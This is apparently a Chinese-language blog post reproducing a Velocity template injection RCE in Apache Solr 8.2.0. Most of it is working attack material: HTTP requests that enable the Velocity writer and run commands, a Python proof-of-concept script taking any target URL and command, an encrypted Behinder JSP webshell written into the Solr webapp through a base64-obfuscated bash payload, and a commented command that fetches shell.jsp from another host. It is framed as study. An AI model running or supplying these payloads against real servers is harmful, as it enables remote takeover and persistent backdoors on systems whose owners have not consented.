Solr 8.2.0最新RCE漏洞复现

漏洞描述

国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr.

漏洞编号

无

影响范围

包括但不限于8.2.0(20191031最新版本)

漏洞复现

下载
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
解压进入solr-8.2.0/bin目录安装

./solr -e dih -force //开启示例app

访问主页面http://127.0.0.1:8983/solr/#/

点击左侧Core Selector 查看集合名称，(此漏洞利用需要有一个集合)
以集合mail为例
1.修改集合设置

POST /solr/mail/config HTTP/1.1
Host: 192.168.30.100:8983
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

2.命令执行（命令在exec('id')位置）

GET /solr/mail/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.30.100:8983
Content-Length: 309

Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close

后记

实现上传shell,主要是学习java shell。Python POC如下

import requests
import json
import sys

name = ""

# 获取core_name
def getname(url):
    url = url +  "/solr/admin/cores?wt=json&indexInfo=false"
    conn = requests.request("GET", url=url)
    name = "test"
    try:
        name = list(json.loads(conn.text)["status"])[1]
        # print(name)
    except:
        pass
    return name

# 上传修改配置文件
def Modifyconf(url,name):
    proxy = '127.0.0.1:8080'
    proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
    url = url + "/solr/" + name + "/config"
    #print(url)
    headers = {'Content-Type': 'application/json'}
    postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
    postData = {"update-queryresponsewriter": postDataIner}
    conn = requests.post(url=url, json = postData,proxies=proxies,headers=headers)
    if conn.status_code != 200:
        print("upconf failed",conn.status_code)
        sys.exit(1)

def poc(url,cmd):
    # 本地调试代理
    proxy = '127.0.0.1:8080'
    proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
    # 目标IP
    #url = "http://192.168.30.100:8983"
    # 命令
    #cmd = "bash -c {echo,d2dldCBodHRwOi8vMTkyLjE2OC4zMC4xMzEvc2hlbGwuanNwCg==}|{base64,-d}|{bash,-i}"
    name = getname(url)
    Modifyconf(url,name)
    url = url +"/solr/"+name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    conn = requests.request("GET",url,proxies=proxies)
    print("response:"+conn.text)
    # print(url)
    # print(cmd)
if __name__ == '__main__':
    url = sys.argv[1] 
    cmd = sys.argv[2]
    poc(url,cmd)

需要输入的是url,和 命令，如

SolrRCE.py "http://192.168.30.100:8983" "ip a"

但是有些含有|> 特殊字符的复杂命令不能直接写，由于Runtime.getRuntime().exec() 自己的限制。
比如你要写入冰蝎的一句话，经过各方资料参考，可以是下面这种形式。

sh -c $@ | sh . echo `echo  '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>' > solr-webapp/webapp/shell.jsp`

但是由于grtRuntime().exec()的限制，我们需要进行如下的编码,把上面的命令base64编码，以下面的形式传入。

bash -c {echo,c2ggLWMgJEAgfCBzaCAuIGVjaG8gYGVjaG8gICc8JUBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIlPjwlIWNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX0lPjwlaWYocmVxdWVzdC5nZXRQYXJhbWV0ZXIoInBhc3MiKSE9bnVsbCl7U3RyaW5nIGs9KCIiK1VVSUQucmFuZG9tVVVJRCgpKS5yZXBsYWNlKCItIiwiIikuc3Vic3RyaW5nKDE2KTtzZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTtvdXQucHJpbnQoayk7cmV0dXJuO31DaXBoZXIgYz1DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpO2MuaW5pdCgyLG5ldyBTZWNyZXRLZXlTcGVjKChzZXNzaW9uLmdldFZhbHVlKCJ1IikrIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTslPicgPiBzb2xyLXdlYmFwcC93ZWJhcHAvYmVkLmpzcGA=}|{base64,-d}|{bash,-i}

即这种形式

SolrRCE.py "http://192.168.30.100:8983" "bash -c {echo,c2ggLWMgJEAgfCBzaCAuIGVjaG8gYGVjaG8gICc8JUBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIlPjwlIWNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX0lPjwlaWYocmVxdWVzdC5nZXRQYXJhbWV0ZXIoInBhc3MiKSE9bnVsbCl7U3RyaW5nIGs9KCIiK1VVSUQucmFuZG9tVVVJRCgpKS5yZXBsYWNlKCItIiwiIikuc3Vic3RyaW5nKDE2KTtzZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTtvdXQucHJpbnQoayk7cmV0dXJuO31DaXBoZXIgYz1DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpO2MuaW5pdCgyLG5ldyBTZWNyZXRLZXlTcGVjKChzZXNzaW9uLmdldFZhbHVlKCJ1IikrIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTslPicgPiBzb2xyLXdlYmFwcC93ZWJhcHAvYmVkLmpzcGA=}|{base64,-d}|{bash,-i}"

参考

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
及其他预警平台
在线编码网站